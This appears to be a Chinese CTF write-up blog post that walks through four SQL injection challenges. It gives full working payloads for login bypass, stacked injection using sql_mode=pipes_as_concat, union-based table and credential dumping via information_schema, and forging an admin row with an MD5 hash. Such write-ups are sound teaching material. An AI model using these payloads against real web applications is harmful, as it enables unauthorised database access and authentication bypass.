SQL题

[极客大挑战 2019]EasySQL

进行简单的尝试,就知道是单引号的字符型注入

5022dd8880b1418c958e1b64fe58c569.png

 万能密码进行一个简单的尝试

结果就出来了

0b905595e8334c1b9ad1940d209c5a35.png

还是要了解一下原理

输入的是1',形成的sql语句是错误的
SELECT*FROM table_name WHERE username='1''and password='123';
第一个单引号和第二个单引号形成了新的闭合,剩余第三个单引号,组成的sql语句不正确,于是语句报错,页面就会出现错误。

[SUCTF 2019]EasySQL

当我们输入非零数字的时候,页面上有回显,用0也是什么都没有,字母也是什么都没有

我们就直接尝试一下命令

1;show databases;

e88245dd4010401a81fd5aea58e9036e.png

1;show tables;  发现一个表为flag

5405c356126b4f149bfd17e06a60824e.png

 猜答案应该就会在flag表中,那么就可以查一下看看

1;show columns from Flag   (1;show columns from用来查询表中列名称)

8f4b4a1a0d4f44d0b30af5e589fe4c92.png

没有回显,应该是flag也是被过滤了,想了一下,其实在查询的数据库的时候就应该要发现是堆叠注入,自己对堆叠注入还是不了解,刚刚没有看出来。

修改sql_mode的值,将||视为字符串的连接操作符而或非运算符,即set sql_mode=PIPES_AS_CONCAT;

也就是堆叠注入下可以改变sql的||符号的作用,就让||实现连接的功能

|| 变成类似 concat() 函数

看看后台的查询语句

$sql = "select ".$post['query']."||flag from Flag";

区别

在MySQL中,操作符||表示“或”逻辑     也就是只要有一个为真就可以为真了。

mssql中||表示连接操作符,不表示或的逻辑

union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,例如查库,表之类的,而堆叠注入可以执行的是任意的语句,将多条语句进行执行,;代表一条语句的结束。

payload

1;set sql_mode=pipes_as_concat;select 1

d872c1bb5b4946bcb22d9b21a58892e4.png

非预期

尝试之后就会发现没有过滤*

payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag

先查找全部,再去查找1

最后也是可以拿到结果的

[极客大挑战 2019]LoveSQL

尝试一下万能密码

7072d87d60f344d5b071def2ac1e2962.png

 看看回显位置

1' union select 1,2,3#

发现是在2和3 回显

字段

1'order by 4#

9ff68c1dedf541259ca86f84563b1a08.png

只有三个字段

数据库

1' union select 1,database(),version()#

46684751172a4762b1ccc4fb109e722f.png

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

 59d00398e7ae4fffa7b9c4c641edf633.png

 发现有二张表

geekuser
l0ve1ysq1

先看第一个

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

f02fe9590d094b768fb01fe9b061b065.png

下一个也是一样的

也是先读取第一张表的内容

1' union select 1,2,group_concat(id,username,password) from geekuser#

 f05b6ae387784a3c8e7fd3d336e03c71.png

 下一张表的内容

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

 636a8aa86a484d099a8959c0bad4aee9.png

 发现这一张表的内容有许多,在后面就会发现答案。

[GXYCTF2019]BabySQli

f2fa0474bff1491c91bb7f6f5910a57e.png

 看看源代码

131562f14ca348fab6e7c1db555bc888.png

 base32后base64

base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号

235d85922bee412eafbf09e0a6178b9f.png

 到这里就暂时没有思路了

先看看列数

1' order by 1,2,3#

是不是被过滤了,大写看看

e61e44b74bd044728a20295c51d7a05d.png

 就知道有三列,并且还过滤了order

回显位置

1' union select 1,2,3#

aead85b818f1430db1d3c85889204711.png

 利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

eg

select * from user where username = 'wxs' union select 1,'admin','123456';

 临时创建了一个admin用户,密码是123456

那就可以随便构建一个密码

123456

MD5  e10adc3949ba59abbe56e057f20f883e

payload

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

e9c1ee56920a4594aed79415f1b99c20.png

 3271018e25274145a37c517176adbba1.png

 数据库会将123456的MD5值与里面的相比较,如果匹配成功,就会返回flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值